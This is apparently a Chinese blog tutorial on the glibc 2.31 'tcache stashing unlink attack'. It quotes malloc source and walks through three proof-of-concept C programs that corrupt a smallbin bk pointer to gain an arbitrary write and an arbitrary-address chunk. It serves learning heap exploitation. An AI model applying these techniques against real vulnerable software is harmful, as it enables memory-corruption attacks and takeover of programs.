tcache stashing unlink attack
196082 慢慢好起来

tcache stashing unlink attack作为house of pig的基础,所在这一篇更新完了就会跟新house of pig以及SROP。

首先,这种利用方式需要的条件就是存在calloc来申请chunk。

先看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
  if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

在源码的注释也写上了,当tcache没有满,其他bin没有空的情况下就会把其他bin当中的chunk put进tcache内,并且这一阶段是没有任何保护的。根据昨天的largebin attack可以很清楚的看出来,这两行代码是有问题的。

1
2
bin->bk = bck;
bck->fd = bin;

接下来就用heap exploit2.31当中的poc来做演示(这个poc的方式很巧妙)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim = 0;

int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);

char *t1;
char *s1, *s2, *pad;
char *tmp;

printf("You can use this technique to write a big number to arbitrary address instead of unsortedbin attack\n");

printf("\n1. need to know heap address and the victim address that you need to attack\n");

tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: 0x%lx\n", &victim, victim);
printf("heap address: %p\n", tmp-0x260);

printf("\n2. choose a stable size and free six identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}

printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4, t1-0x60*5);

printf("\n3. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");

s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);

printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);

printf("\n4. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");

printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

printf("\n5. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");

calloc(1, 0x50);

printf("Finally, the victim's value is changed to a big number\n");
printf("Now, victim's value: 0x%lx\n", victim);
return 0;
}

首先在这里放入六个chunk到tcache内

1
2
3
4
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}

image-20220224163011096

下面几步是将一个size为0x60的chunk放入smallbins当中

1
2
3
4
5
6
s1 = malloc(0x420);
pad = malloc(0x20);

free(s1);
malloc(0x3c0);
malloc(0x100);

image-20220224163104779

下面进行相同操作把chunk放入smallbin

1
2
3
4
5
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);

image-20220224163256971

接着修改后一个chunk的bk指针为target-0x10

1
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

image-20220224163837757

随后用calloc申请一个smallbin当中的chunk让另一个进入tcache

1
calloc(1, 0x50);

image-20220224164257661

可以看到目标地址的值被改变了并且我们最后一个chunk也进入的tcache

进一步分析

以上就是这个漏洞的利用方式之一,和昨天的largebin attack类似,但是这个漏洞存在一个更具有破坏性的利用方式,注意上面的两行代码当中有一行是

1
bin->bk = bck;

这样就导致了我们的smallbin的bk发生了改变

image-20220224165952567

再看在glibc当中的定义

1
#define last(b)      ((b)->bk)

所以这也就导致了更具有破坏性的漏洞,我们可以任意地址申请堆块,并且可以看到tcache_put也是没有任何保护

1
2
3
4
5
6
7
8
9
10
11
12
13
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

根据上面的进一步分析我们继续来heap exploit里面的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim[4] = {0, 0, 0, 0};

int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);

char *t1;
char *s1, *s2, *pad;
char *tmp;

printf("You can use this technique to get a tcache chunk to arbitrary address\n");

printf("\n1. need to know heap address and the victim address that you need to attack\n");

tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);

printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
victim[1] = (uint64_t)(&victim);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}

printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);

printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");

s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);

printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);

printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");

calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);

printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");

uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;

printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);

return 0;
}

首先,这里直放入了五个chunk到tcache

1
2
3
4
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}

然后后面是类似的放入两个chunk到smallbin,然后改变bk指针到我们的fake chunk,最后calloc我们的s1即可实现

需要注意的是,这里victim[1] = (uint64_t)(&victim);是需要将fake_chunk的bk指针指向任意可写地址!

image-20220224171340793

这个时候我们的利用危害性相对来说就比较大了,但是我们可以结合起来第一个漏洞来一起使用,也就是同时修改指定地址的值,并且在另一个地方创建fake chunk

其实利用方式也很简单,就是我们修改fake chunk的bk指针就行,这里就不细说,把poc贴出来就行了(要恰饭了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;

int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);

char *t1;
char *s1, *s2, *pad;
char *tmp;

printf("You can use this technique to get a tcache chunk to arbitrary address, at the same time, write a big number to arbitrary address\n");

printf("\n1. need to know heap address, the victim address that you need to get chunk pointer and the victim address that you need to write a big number\n");

tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("victim2's address: %p, victim2's value: 0x%lx\n",
&victim2, victim2);
printf("heap address: %p\n", tmp-0x260);

printf("\n2. change victim's data, make victim[1] = &victim2-0x10\n");
victim[1] = (uint64_t)(&victim2)-0x10;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);


printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}

printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);

printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");

s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);

printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);

printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");

calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);

printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");

uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;

printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("victim2's value: 0x%lx\n",
victim2);

return 0;
}

参考链接

https://github.com/StarCross-Tech/heap_exploit_2.31

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量